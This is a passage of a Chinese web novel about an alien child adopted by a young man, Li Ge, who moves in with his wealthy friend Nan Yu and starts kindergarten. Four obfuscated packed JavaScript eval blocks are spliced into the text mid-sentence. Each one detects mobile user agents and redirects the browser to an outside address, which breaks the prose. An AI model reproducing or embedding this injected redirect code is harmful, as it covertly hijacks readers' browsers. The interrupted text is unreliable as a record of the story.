但听到他和小孩子双向奔赴，警员还是高兴地通知他：“那请您在下午六点之前带着黎游来到曾经登记过身份信息的警署办理领养手续，工作人员会告知您接下来如何处理户口等问题的。” “好好，没问题。” 黎歌挂断了电话径直来到Q的房间叫醒了还在熟睡的小孩。 Q睡得朦朦胧胧的，脑子也模模糊糊的，“怎么了哥哥？” 黎歌激动地控制不好自己的音量，紧紧把Q搂在怀里说：“小游，从今以后你就可以一直和我在一起了！我可以领养你，我们就是一家人了！” Q被突如其来的惊喜砸蒙了，半秒才彻底明白他在说什么，小胳膊立刻紧紧抱住黎歌的腰，同样激动地喊：“太好了哥哥！太好了！我以后可以一直一直待在你身边了！” Q一个弹射从床上跳下来，立刻翻找自己的衣服，恨不得下一秒就飞到警署。 黎歌忍俊不禁，“别着急啊小游，我们下午再去也来得及的。” 都到这个地步了Q哪里听得见他的话，手忙脚乱地给自己穿好衣服，“不要，我们现在就走，立刻马上去！” 他用闪烁的浅金色眼睛看着黎歌，“我怕晚一点哥哥就会后悔，必须要尽早办完变成哥哥的弟弟，我才能安心。” 黎歌失笑，“就这么喜欢我吗？” Q使劲点头，毫不避讳地表达自己的爱，“当然，哥哥是我在这个世界上最重要的人。” 我为你而停留在此。 16.天下无不散的宴席 警署办理收养手续的效率极高，从黎歌带着Q去办手续到拿到纸质版的领养证书，全程不过36小时。Q在这期间悄悄溜出去过一次，他在死角里拟态成一只猫，然后轻车熟路地来到了小鬼们暂居的废弃车库。 C城的夜特别冷也特别黑，冷得Q心里发慌。 【老大，蓝帽子，你们在哪？】小猫慢慢地挪动脚步，试图连接小鬼们的能量场。 有了！ 虽然很微弱，但Q能感受到祂们的存在。 【嚯！】小鬼们叠甲一般摞在一起，从一人多高的木板后面探出来，【有没有吓到你？】 【没有。】Q很诚实的摇摇头，只要生命体的能量场还存在，任何人（鬼也一样）都不可能吓到他。 蓝帽子从叠甲的最上面咕噜下来，抱怨道，【可真没意思，你就配合我们一下嘛！】 Q点头：【好，那我重新进来。】说完小猫真的掉头准备再进一次仓库。 老大瞪了一眼蓝帽子，然后叫住了Q，他说：【其实你今天不来我们也是要去找你的】 他努力挤出一个笑，【Q，我们感觉好像要到时间了，可能…可能不能再继续陪你了。】 短短的一句话老大哽咽了好几下，他用手抹了抹眼睛，稳定住颤抖的声线：【Q，你会记得我们的对不对？】 小猫瞬间变回小鬼们熟悉的样子，浅蓝的头发、金黄的眼睛，身上穿着一件毛茸茸的小熊连体睡衣，比祂们初见的时候更可爱更有“人味儿”了。 老大像是送远行的儿女一般感慨：【看到你过的这么好，我们几个也就放心了。你要好好在黎歌身边呆着，好好读书，不要随便使用自己的能力，不要让别人发现你是一个外星人。】 【其实我那天骗了你，人类才不是善良热情的呢，每个人都很坏很坏！他们如果知道你是外星人就会要剥你的皮、抽你的筋、剜你的肉，把你的骨头渣子也分给其他国家做研究！Q你记住，千万千万不能告诉任何人你的身份，如果被发现了你就……】 Q抢答：【我就篡改他的记忆，干扰他的大脑和能量场。】 老大：【对！如果你能找到你的飞船的话，你就可以飞回家了，如果你飞回家的话一定不能把我们忘掉！】 光脚丫也在一旁附和：【人不为己，天地都灭！也不许忘掉我们！】她转头寻求同伴们的意见，【我说的对不对？】 【对！人不为己，天地都灭！】 Q失笑，明明是人不为己天诛地灭，不过祂们能想到成语已经很厉害了。 【大家不用担心我，我超级厉害的，我谁都不怕。我也绝对不会忘掉你们的，你们是我最好的朋友。】 气氛到浓时感情是压抑不住的，蓝帽子还是没忍住哭出声来，【我要死掉了，彻底死掉了，以后都再也看不见你们了，也看不见世界上的任何东西了，我不想死，我好害怕啊，死掉的时候会不会很痛？就像…就像麻花辫一样，一点点地消失，连渣都不剩了。】 他一哭更是勾出了小鬼们心里的胆小鬼，大家都怯生生的抱在一起，生怕下一秒同伴就悄无声息地消失了。 Q头疼得厉害，他不知道自己为什么头疼。核心脑像轰炸机一样铺天盖地的响，响的他的头都要碎掉了。 【别怕，大家都别怕，我们睡觉吧好不好？静静地躺在一起，想一想最开心最幸福的事情，然后睡着了就一点都不会疼了，我发誓，等到下次再睁开眼睛的时候就又能看到一切了。】 蓝帽子眼角的小泪珠还在晃动，摇摇欲坠，【真的吗？】他问。 Q控制拟态强行笑了笑，他第一次发觉人类的拟态竟然这么难操纵。 【当然，我们约定过的，骗人是小狗。】 于是小鬼们都倒下了，在杂乱破旧的飞起车库里，几个幼小善良的灵魂静静地睡着了。 很久以后祂们一定会在新的生命体上聚拢起意识，建构起灵魂，再次睁眼时，人间还是那个人间。 直到有小水滴滑落到地上，打湿了脚边的小块灰尘，Q才抬起头，远方的灯火摇曳闪烁着，像是海面上的朵朵月光。 黎歌凝望着月亮。 那本领养证明被他放在桌子上，宽大的手掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093613|162808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牢牢压住它反复摸挲，仿佛是怕死的纸长腿跑了一样。 “从今以后，我就是黎游的监护人了。”想到那个可爱的孩子，黎歌就没来由的高兴、不带有任何利益色彩的高兴。 黎歌自问向来是个极其理智的人，从不做亏本的买卖，可对于这个孩子，就算是要把半副身家搭进去黎歌也认了。 这难道就是传说中的父子缘分？ 不对，是哥哥和弟弟，应该叫兄弟缘分。 他忽然想要到黎游的房间里摇醒他，再问一问这是不是真的？他心里杂念多，丝毫没有注意到一溜蓝色的液体顺着门缝渗进了屋子里。 “呼”Q趴在床上，脸蛋埋进枕头里，左手环住右手举在头顶。 “从今天开始，我就没有朋友了。”Q小声对自己说，“张雨辰也是朋友，但他并不知道我的身份，好多话也没办法和他说。” 而且老大他们总是不同的，那是Q来到地球之后最先见到的外星生命，也是陪伴他最长、给了他最多爱的生命。 哦，爱，多么神奇的一个字。 Q翻了个面，两只手捂住自己的脸，他想起老大的话，他想起他的朋友们祝福他能再回到奇利亚斯。可别说现在找不到飞船了，就算找到了，Q敢打赌飞船也一定是一片一片的报废状态了。 或许飞船里的一些设备还能用。 Q记得他在执行任务前计划负责人告诉他飞船里装了代替核心脑的超高级装置，如果他的核心脑受了重伤的话，那么这个装置就会自动植入他的身体，代替核心脑工作。 Q记得自己当时多嘴问了装置的工作原理和工作方法，但是被警告只要做好分内之事就得了，到了危险的关头装置自然会起作用的。 Q至今仍好奇那个神秘的装置。 但或许它早就毁了。 Q躺在小小的床上，一点一点梳理回味着来到地球以后的故事，那些画面就像幻灯片一样闪现。他又突然想到，地球的流速与奇利亚斯并不相同，这意味着明天、或者后天、或者不久的将来，他可能随时面临死亡，那黎歌可怎么办呢？ 17.南瑜家的猫 黎歌的假期存额已经告急了，假期这种东西就是很神奇，好像和工作日不是同一个时间单位一样。本来黎歌答应这周六看看能不能抽空去南瑜家做客的，可事情堆在假期的尾巴上，根本就挤不出来时间。 哥哥：【小鱼，我今天就不带小游去你那儿了，我收拾收拾卫生加上上周留下了点需要扫尾的工作，忙得有些抽不开身。】 哥哥：【下周，我下周一定去。】 南瑜轻轻“啧”了一声，秀气的眉毛微蹙，不吭不响地从工位走到换衣间。他利落地换上了常服，准备推门离开。 “南瑜博士？”实验室的研究成员好奇地叫住他，“您今儿怎么这么早就要回去了？” “今天有点特殊情况，你也准备走了？”南瑜瞟了一眼同样换上常服的张帆，笑道。 张帆有点不好意思，后悔自己为什么要叫住博士，毕竟实验室的不成文的规矩就是大家最起码要工作到晚上七点再下班。当然了，实验研究总是充满未知的，如果有什么临时发现或者特殊情况，连着通宵两晚也不是没有过。 “那个我也有点特殊情况，我未婚妻来看我，现在就在楼下，我不好不去。”男人提起自己的爱人，脸上漾起甜蜜的羞涩，但仍不忘记偷偷观察南瑜的表情。 南瑜语气轻松，“这很好啊，研究和生活两不误。你快去吧，别让人家姑娘等着你。” 张帆这才放心了，高兴地说：“那好，博士您路上也小心！”他竟连电梯都等不急了，一双腿倒腾地飞快跑着下楼梯。 南瑜舔了舔嘴唇，连这群没毕业的小孩都有未婚妻了，自己这进度条也加载的太慢了。 电梯门缓缓打开，南瑜从内置镜子里看见自己的身影。 黎歌眼里映出他的脸，那双漂亮的眼睛完成月牙的形状，南瑜把手里的猫递给黎歌，然后解释道，“哥哥说忙这周来不了，下周再来。可我怕下周哥哥再忙起来就又把我抛到脑后了，既然你不来，我便只好来找你了。哥哥，你不会嫌我叨扰吧？” 黎歌被暖乎乎的毛团子扑了个满怀，他喜欢小动物，尤其喜欢猫。这只狮子猫被养的油光水滑的，一双蓝黄异瞳的眸子轻轻松松就俘获了人类的心。 “它叫什么名字？”黎歌忍不住轻轻地亲了一下小猫的头顶，嗯，一股子纯正的小猫味儿。 南瑜：“它叫甜甜。” 黎歌哦了一声，然后把小猫提起来去看小猫的性别—— 【滚啊！人类都是流氓！】 Q本来在屋里乐滋滋地看电视，结果一道极具穿透力的能量弧突然进入他的能量场，好像是在骂人类？ 他急匆匆地从卧室伸出脑袋，“哥哥，谁来了？” 不等黎歌回答，南瑜抢先说：“是小鱼哥哥，小游想我了吗？” 【当然没想。】 “哦，想了。”Q有点失望，正要缩回头，余光突然扫到了黎歌的怀里。那只毛色鲜亮的狮子猫好奇地望着他，微微歪头——【人类小孩？】 【猫？】 狮子猫的竖瞳骤缩，扑腾着从黎歌的怀里跳下来去抓Q的裤腿，激动地要尖叫出来：【人，你是神奇的人！人，你竟然懂猫话！】 【小声点，不要让别人知道！】 Q从地上把甜甜捞进怀里，小猫一双滴流圆的眼睛在他身上反复看，它想不明白这个人类小孩为什么这样神奇，他竟然能听到猫的想法？！ 南瑜笑着道，“看来甜甜很喜欢小游呢，甜甜，过来，到我这来。”他弯腰拍拍手，招呼着曾经的爱宠。 小猫别过脑袋，一只爪子捂着脸，把头埋进Q的臂弯里，哼哼唧唧的不愿意离开。 【你干什么？你的主人叫你回去呢！】Q有点紧张，他发誓，他可没有诱拐别人的宠物！ 小猫喵呜喵呜地叫：【不要他，他听不懂猫话，你有意思，你能陪我说话，我要和你玩一会！】 Q着急地打断它，【你别叫，你只用能量波和我说，不要用声波！】 【能量波？那是什么东西？】 小猫一抬头，暖白色的长毛遮住了Q的小半张脸。 【就是这样！就是你现在这样！你只需要想，不需要叫，我就能听到！】 甜甜没忍住还是喵呜一声，【嘛！好神奇！】 Q扒拉了一下它的小圆脸，“小猫小猫，你好可爱呀！哥哥，我喜欢这只小猫！” 【不是，你好会装。】 【嗯，人类就是这样的，学会装是基础课。】 黎歌温柔地摸摸Q的小脑瓜，笑容像火光一样照亮了他的眼睛，“那你就多抱抱它吧！正好巧呢，甜甜也喜欢你。” 【你叫甜甜？】 【嗯，是南瑜给我取的名字，好听不？你叫啥？】 【我叫Q，但是现在我叫黎游。】 【黎游是你的外号吗？】 【不，不是，我有两个名字。Q是过去的我，黎游是现在的我。】 Q将手指插进浓密的猫毛里，顺着毛的方向轻轻地捋，他似乎在这上面很有天赋，无师自通，将猫撸得舒服的哼哼。 南瑜道，“你们去卧室里玩吧，我和哥哥说会儿话。” 黎歌疑惑地瞥了他一眼，不知道他要说什么话，但还是示意Q，“去吧，抱着小猫看电视。” Q乖乖点头，小猫慵懒地趴在他的肩头陪着他一起进了卧室，关上门。 “怎么了？”黎歌顺手从果盘中拣了一个橘子剥了皮递给南瑜。 南瑜自然地把它掰成两瓣递给黎歌一半，黎歌没有接，他不太想吃，南瑜又把手往前递了一下，黎歌不得不接过，撕下来一个橘瓣放进嘴里。 “哥哥，我想你要不要换个地方住。” 酸的。 黎歌说：“这里的房租还有两个月，我打算过了租期之后去找一个两室一厅离小游学校近的房子，他上学方便，玩耍的地方也大一些。” 他说这话，然后又撕下来一个橘子瓣，这回没有自己吃，而是塞进南瑜的嘴里。 他看见了，这坏小子根本没吃。 【如果我喝了很烫的茶，我将默默咽下去，然后看着我的朋友同样被烫的发麻，否则我将被烫的毫无价值。】 “嗯，挺好吃的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101630|162808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”南瑜甚至仔细地嚼了嚼，然后接着分析，“可是下周一幼儿园就开始上课了，如果托关系走点门路的话小游大概两周后就可以正式上课了。两个月，这两个月他怎么通勤？” 黎歌皱着眉，默默地又吃了一口橘子。 “其实哥哥，你不妨搬过来和我住。”南瑜提议道。 黎歌想都没想就反驳，“那怎么行？” “怎么不行？”南瑜反问，“我住的房子离中心学府的幼儿园特别近，而且三室两厅还有一间书房，你我和小游正好一人一间。一个客厅供我们说话，一个客厅给小游玩耍写作业，不好吗？” 黎歌抿了抿嘴唇，最后才说：“麻烦你，这不好。” 南瑜忽然笑了，淡淡的，像冷风吹皱了水面漾起的寒冷波纹。 “哥哥，你和我说这个？” “从前的时候我黏着你，你照顾我了三四年也没有说过麻烦，我们都是在一张床上睡，用一个勺子吃饭，你也没意见。现在怎么就格外生分了呢？” 黎歌狡辩，“那不一样。” “怎么不一样？”南瑜看着他的眼睛逼问，“到底是不想麻烦我还是因为在你的心里已经把我从亲密的人那里划掉了？” “我……”黎歌没说出来话。 两只耳朵贴在门上仔细地听声音，下面的毛茸茸的那只是猫的，上面的小巧红润的那只是Q的。 【他们，好像吵架了？】 【听起来是的，】Q不太高兴，【你家主人每次一来就准没好事，要不然哥哥和我在家，一整天都不会吵架。】 猫看起来不高兴，【和我主人有什么关系？他邀请你们一家去我家住，难道还委屈你们了不成？我告诉你，我们家超级超级大，比你这小地方好多了！】 Q也不满意它说黎歌，立刻反驳，【谁稀罕！我们家只要有我、有哥哥，就是全世界最幸福的家！】 【切！吹牛皮！】 Q想了想问：【为什么说大话叫吹牛皮而不是吹猫皮？你刚才不是和我说你是全世界最聪明的猫吗？你能解释一下吗？】 甜甜的胡须一抖，不由自主地舔了舔爪子：【为什么叫吹牛皮不叫吹猫皮？吹牛皮、吹猫皮……牛皮，猫皮……】 Q看见它被绕进去了，脸上显出一点得意来，然后继续把耳朵贴在门上。 “哥哥，你不说话就是默认了。”南瑜有些自嘲地说，“你不愿意，那就算了吧。” 黎歌握住他的手，“没有！我一直把小鱼你看做亲人的，我只是想，如果和小孩子一起搬到你身边的话，肯定会给你带来困扰的。而且小朋友就算再懂事也总会磕磕碰碰的有意外，没必要给你添麻烦。亲兄弟还明算账呢。” 他的声音越来越小，最后几乎不可闻。 “如果你怕麻烦我的话，那就请黎歌先生负责全家每天的晚饭吧，毕竟我从实验室回来就很晚了，常常吃不上饭。” 【这句是骗人的，他有专门的保姆做饭收拾家务。】甜甜昂起高傲的猫头，【我想出来了，不吹猫皮是因为我们猫和人类一样是世界的主人，难道你听说过吹人皮吗？】 18.搬家 南瑜在黎歌家吃了晚饭才走，甜甜极不情愿地从Q的身上跳下来跟着主人回家。天知道作为一只无敌可爱的小猫咪它有多伤心！人类根本不懂它的想法，大多数猫族同类也无法理解它高深的思想，只有Q这个不知道是不是人类的小孩能理解它、懂得它！ 可惜猫是铁，粮是钢，一顿不吃饿得慌。 黎歌家虽然好，有解语花也有美人，但是到底不如它主人家富贵，猫条罐罐都是随便开的。 精神充足和物质充足之间总要有一个取舍的，没办法，只好先填饱肚子再追求知音。 【Q我走了！你不要想我，毕竟我两天你和你哥就搬过来了，我们就是一家人了！】 【虽然我不太喜欢你主人，但我还是很喜欢你的。】 【那是，本喵的气质天下无双！】 甜甜用爪子勾住南瑜昂贵的衬衫，将软乎乎的猫头搁在他的颈侧，眼里满是对生活的感慨。 “路上小心，注意安全。”黎歌目送南瑜下了电梯，然后转过来抱Q，他说：“小游，哥哥给你找好幼儿园了，下周我们家小游就可以和小朋友们一起去上学了，开不开心？” Q不怎么开心。 因为老大说上学是一件很痛苦的事情，要写很多很多作业，甜甜也说上学和上班都是恐怖的事情，它们会将几十个人类囚禁在很小的屋子里一起生活很长时间，根本就不自由。 不过听说上学的话可以和很多人类小孩一起玩，那样是不是可以交到很多好朋友？是不是可以更好的体会人类复杂的感情？是不是可以更深一步地了解人类的感性文化？ “开心。”Q噘嘴在黎歌的侧脸轻轻亲了一下，他从电视上知道亲吻是人类表达好感的方式，这种习俗可谓根深蒂固，在人类感情文化中占据重要地位。 黎歌被他亲的美滋滋的，也算是非常切身地体会到人家常说养一个可爱小孩的乐趣了。 他把Q放在沙发上，告诉他们将要搬到南瑜家去的事情，询问他讨不讨厌这样。 “小游，如果你不喜欢和小鱼哥哥一起住的话我们就不去，哥哥可以再租一个新的房子，就我们俩。”他深吸了一口Q的香气，小孩独有的奶味，甜甜的。 Q虽然不太喜欢南瑜，总觉得这人有点太聪明了，怕他看破自己的伪装。可Q也有自己的杀手锏，这么想想南瑜再聪明也没用，而且他也舍不得让黎歌多花钱在市中心租一套房子。 甜甜说了，他们家的房子可贵了，哥哥可能努力工作一辈子都买不起。 “当然不讨厌！我特别喜欢小鱼哥哥！他聪明，嗯，长得也好看，还温柔，还对哥哥好，对我也很好，我们就和他一起住吧！” Q细数南瑜身上的优点，说实话，如果不带着有色眼镜看的话，南瑜确实算是一个很出众的人类了。 黎歌没想到他这么喜欢南瑜，毕竟这孩子跟小鱼的互动也不多。他不觉得一个四岁的小孩能撒谎，便真的以为Q是喜欢自己的朋友。 “小鱼哥哥要是知道你这么喜欢他肯定高兴！”黎歌捏了捏Q的脸蛋，手感很好，软弹的像块豆腐。 “但是我还是最喜欢哥哥！谁都比不上哥哥！”Q在给南瑜撒点雨露的同时丝毫没忘记谁才是自己最在意的人类，对黎歌也是半点不含糊，给他哄得嘴角都快咧到耳根了。 黎歌轻咳一声，“那你说说哥哥比小鱼哥哥好在哪里？” 好幼稚。 黎歌说完这话就后悔了，他和小鱼比什么啊？看起来像吃醋一样。 “我哥哥长得比小鱼哥哥好看，气味比小鱼哥哥好闻，智商也……” 黎歌连忙打住他，“小游，这个这个你就夸得有点过分了。” Q瞪大眼睛，“哪里过分了？我就是觉得哥哥哪哪都是最好的！小鱼哥哥根本配不上你！” 黎歌觉得他还没完全懂得成年人之间的特定用词，什么配不上之类的话，他明明和小鱼也不是恋爱关系啊！哪有配不上配得上这样的说法？但是童言无忌，小孩子率真才可爱，黎歌也没有纠正他的用法。 “那小游哥哥和你约法三章，第一在小鱼哥哥的家里不能不敲门就进小鱼哥哥的房间；第二，不可以在公共区域或者小鱼哥哥工作的时候胡闹；最后一点，如果在小鱼哥哥家有任何不舒服的地方一定要和哥哥说，住的不舒服的话我们就搬出去，记住了吗？” 黎歌很认真地看着Q的眼睛，他是真的在征询Q的意见。 Q点点头，“记住了。哥哥放心，我会听话地，如果哪里不舒服了也会找哥哥的。” 黎歌摸摸他的头，心里有点难过。 他总想给小游最好的，可能力却不允许，这让他有一种无力感和亏欠感。 “好了好了，快去睡觉吧！一会玩精神了又要嚷嚷着睡不着了。”黎歌最后亲亲他的额头，然后催促小朋友保证足够的睡眠。 Q纳闷：他从来没有嚷嚷着睡不着啊？哥哥把谁的错事安到他的头上了！ 夜色渐浓，豪宅的阳台上，楚云食指夹着一根燃着的眼，打趣道，“我竟不知什么时候不食人间烟火的南瑜博士也会托关系走后门了？” 烟头亮着，淡红色的火光格外扎眼，烟雾从薄唇处四散开，有种忧郁颓唐的美。 “你就说帮不帮吧？” “呵，帮，我们南瑜小少爷开口哪有不帮的道理？那孩子叫什么名字，把他的身份信息发过来，下周就去报道吧。” 南瑜强调，“我们家孩子聪明的很，要进最好的班级，用最好的老师教。” 楚云不由地笑出声，“南瑜，当时上学的时候你可不是这么说的啊。奥莱尔博士带着你们师兄弟几个，你最早毕业、研究成果也最瞩目。我记得你说：‘聪明人需要的是一个引路人，而不是导游’。怎么现在忽然转了性子？” 南瑜有些不耐烦，但思及是有求于人不好发作，“年少轻狂罢了。孩子叫黎游，我把资料发给你。好了，很晚了，你睡吧。” 说完就挂了电话。 楚云吸了一口烟，脸上难得有一点戏谑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101631|162808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的活人颜色。 “啧啧，看来求人的时候也不是块硬石头嘛。” 半根烟未吸完，侍从小心翼翼地禀报：“大少爷，叛徒已经抓到了，您看看怎么处理？” 楚云看了一眼层层叠叠的保镖队伍里唯一战战兢兢的男人，顿时也没了什么抽烟的兴致。他走到男人身边，将滚烫的恶烟头按在他的左侧脸上，男人疼得直哆嗦却不敢出声， “打残他，赶出C城。” “不要啊少爷！我对楚氏没有功劳也有苦劳啊少爷去！求求您了少爷！求求……唔……” 男人被保镖堵上嘴，半拖着带走了。 楚云双手交叠，欣赏了一下新得到的古董戒指，翠绿的，极好的成色。 “通知中心学府那边，下周有一个叫黎游的小朋友来上学。我很看重这个孩子，叫他们别怠慢了。” 管家秒懂他的意思，应承道，“您看重的孩子，他们自然知晓分寸，您放心。” 楚云想了想问道，“南瑜最近在干什么？” “南瑜博士还是实验室和家两点一线，不过他最近和一个叫黎歌的男人走的很近，俩个人看起来应该是好友，周六下午他曾带着猫在这个男人的家里待了将近五个小时。” 楚云想到那只叫甜甜的猫，特别野得一只小猫，他连摸摸都不行。还有他朋友的名字，黎歌，可不是小孩黎游的亲属吗？ “行了，你们盯紧一点，我怕会有些不知好歹的家伙盯上他。毕竟南家的生意复杂，他心思又单纯，保不齐会有人想从他这下手。” “那黎歌？” 楚云挥挥手，“也叫两个人跟着他一点，无辜之人别被牵连了。” “属下明白。” 第二天一早南瑜就给黎歌打电话询问搬家的事宜，这种雷厉风行的办事效率让黎歌一惊。 “这么早吗？直接搬进去？” 南瑜问：“不然需要准备什么仪式吗？哥哥放心，我找了专门的搬家公司，你和小游只需要人过来就行，一应东西搬家公司都会安排好的，必不会少了或者碰坏什么。” 黎歌无可反驳，但黎歌还是有点震惊。 “哦哦，这样，好，那我和小游中午就过去。” 南瑜心情很好地给桌上的绿植浇水，“我去接你们，十二点可以吗？” 黎歌本想打车去的，可是南瑜都提出具体的时间邀请了，他也不好拒绝。 “好，你路上小心。” 南瑜挂断电话，甜甜就站在他的面前歪着头看他：“喵呜？” 【Q要来了吗？】 可惜南瑜只是一个普通的人类，没办法听懂自己的意思。哎，又是想念Q的一秒钟。 它的主人笑道，“一会就会有新成员来到这里了，甜甜，你也很高兴对吧？” “喵呜！” 【太棒了！】 小猫一个飞扑到南瑜的身上，奖励一般地给他踩肩膀按摩。 【做得好我的人类，喜欢的人类就是要放在身边！】 19.人类学校 甜甜没说谎，南瑜的家真的好大好大，快要赶上黎歌住的小公寓的五六倍了。Q虽然也进过其他人的家，但南瑜家绝对是最大最奢华的。 【甜甜，你家真的很漂亮。】 小猫神气地走着猫步，【那当然，我的主人可是很富有的！】 “哥哥，这是小游的房间。”南瑜带黎歌和Q了解房子的布局，Q住在最西侧的小卧室里，隔壁是书房，开门就是客厅。客厅北面是一个漂亮的小阳台，上面摆着各式各样的绿植，看得出来主人是一个很热爱生活的人。 【你主人还有养植物的爱好吗？】 【不是，那都是管家找人设计的，保姆在打理，南瑜从来不碰。除非心情好的时候，偶尔会浇浇水。】 大客厅东西两侧各连接着一个卧室，面积差不多大，西侧的是黎歌住的，东侧的是南瑜的。两个主卧之间摆着漂亮贵气的茶几，茶几后面的磨砂玻璃窗隔开了大客厅和大阳台。、 小客厅在南瑜房间的东侧，并不大，平时只有小猫住在那。里面放着一只巨型的猫窝，还有多多的大型猫猫玩具，各个看上去都价格不菲。 别说Q这种外行生物了，就连黎歌也被南瑜家的富贵震惊了一小下。 他以为南瑜说的三室两厅和一间书房就是很普通的那种装修，但是这个——这个装置水平，未免有点太高大上了。 “小鱼，所以你的工作到底是什么？”黎歌忍不住问，之前南瑜只是说自己在实验室上班，但一个普通的科研人员好像赚不了这么多吧？ 南瑜轻笑道，“我从A国博士毕业之后在那里跟着导师工作了一段时间，后来回国之后就在M城组建了自己的实验室。” 黎歌好奇地问：“组建实验室的话很贵吧？国家拨款吗？” “国家拨了一部分，大头的话是南家和楚家出的。不过当然了，都是经过政府允许，有批文的。”南瑜说，“南家就是收养我的那家，楚家你知道，是中心学府背后的控股企业。” 黎歌在这一刻彻底感受到了人与人之间的差距，他和小鱼早就不是一个世界的人了。 他有些尴尬地说：“这样啊，挺好的，看到你过得这么好我真是为你高兴。” “不，”南瑜的视线直直地看着他，“哥哥，没有你在身边的时候我一直很想你。名誉和地位对我来说其实并不重要，我一直怀念和你在一起的日子。” 黎歌嘴唇翕动，半晌喉结才微微滑动，“小鱼，你别这样说。” 我会愧疚的，会后悔当时是不是做错了选择，将你推向我认为的光明未来。 南瑜笑道，“是啊，现在我们又住在一起了，今天值得庆祝。” “喵呜喵呜！” 【晚上想吃啥？】 【我觉得人类的饭没有什么特别好吃得，可能是因为我吃不惯人类饭菜的原因？】 【赞同！】 搬家公司的动作很快，当黎歌一行从火锅店回来的时候旧家的东西已经全部就位了。 黎歌窝在旧的被子里，产生了一种眩晕感，真实和梦境的界限逐渐模糊，直到一片漆黑。 …… 中心学府的幼儿园部已经准备了整整一个早上了，听说这位新入园的学生是楚大少爷亲口吩咐必须要重视对待的人，也不知道这位小朋友到底是何方神圣能得到这般殊荣？ 虽说中心学府的幼儿园没有家世普通的小孩，就连C城的各大机关单位的领导也热衷于将孩子送到这里，可被这样照顾的，他还真是头一个。 “会不会是楚氏嫡系的孩子？”一个年轻的老师猜测。 幼儿园部的部长摇摇头，“楚氏嫡系没有这么大的孩子，而且就算有，以大少爷的脾气估计也不会亲自交代。恐怕是身份还要更高一层的人家。” “哎！那不就是，来了！” 因为这是Q第一次上幼儿园，所以黎歌和南瑜格外重视，两个人一齐出动担任送他上学这项工作。 Q刚刚到幼儿园部的门口，部长老师们就围了过来。 “请问您是黎游小朋友的家长吗？” 黎歌点头，“对，我们是。” 部长听闻热切地伸出手，激动地握住了黎歌，“您好您好，楚大少爷已经吩咐过了，把孩子交给我们您就放心吧！” 黎歌问：“我们家孩子的学籍资料还是空白的，他以前没上过学，需不需要准备相关的材料？” “哦哦，不需要不需要。您什么都不需要准备，一切交给我们好了，您放心，我们会用最优质的老师和最科学先进的教学手段以及超前的教育理念让黎游小朋友在这里感受幼儿园的美好时光！”部长顿了顿手，随即松开转而又握住了南瑜的手，也是郑重地握了握才松开。 “您太客气了，那孩子就交给您了。” 部长点头，随机指派了一个老师，“您放心就好，小林，快，送小朋友进教室！” 他赔笑道，“外面冷，别让小朋友冻坏了。” Q一边跟着温柔的恶女老师向前走，一边恋恋不舍地给黎歌挥手，“哥哥，再见！小鱼哥哥，也再见！” 女老师夸他，“黎游小朋友真的很懂礼貌呀！马上要上学了，告诉老师怕不怕？” “不怕，上学可能是一件有意思的事情。” 女老师似乎对他的回答很惊喜，“哇！我们小朋友真的是很棒很独立呢！” 黎歌根本没想到小游就这么轻轻松松地进了全国最难入学的学府之一，而且看起来学校对他还颇为重视，黎歌侧目看了看南瑜，果然，小鱼在背后应该没少使劲。 “如果没有家长什么事情的话，我们就先走了，毕竟我们身上还有工作。”南瑜适时打断部长滔滔不绝的介绍。 部长的笑消失一秒，而后迅速到岗，“当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101632|162808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然！您们请自便！” 中心学府占据着C城最好的地段之一，附近的人流量也很大。虽然中心学府的安保工作做得特别好，但仍有群众围了过来——不为别的，纯属是为了看看能让幼儿园部门这么重视的新生到底是谁家的公子？ 南瑜拉住了黎歌的手，小声说：“这里人多口杂，我们走吧哥哥。” 两只漂亮的手叠在一起，像极了上个世纪的油画。 不可思议的美好。 两人一走，跟在部长旁边的老师上前问，“部长，您看这俩位是什么身份啊？感觉眼生没怎么在C城见过。” 像他们这种人属于教师中顶流的存在，其人脉网是非常广的，对C城大多数权贵都了解一些。可今儿来的这两位，实在是没有印象。 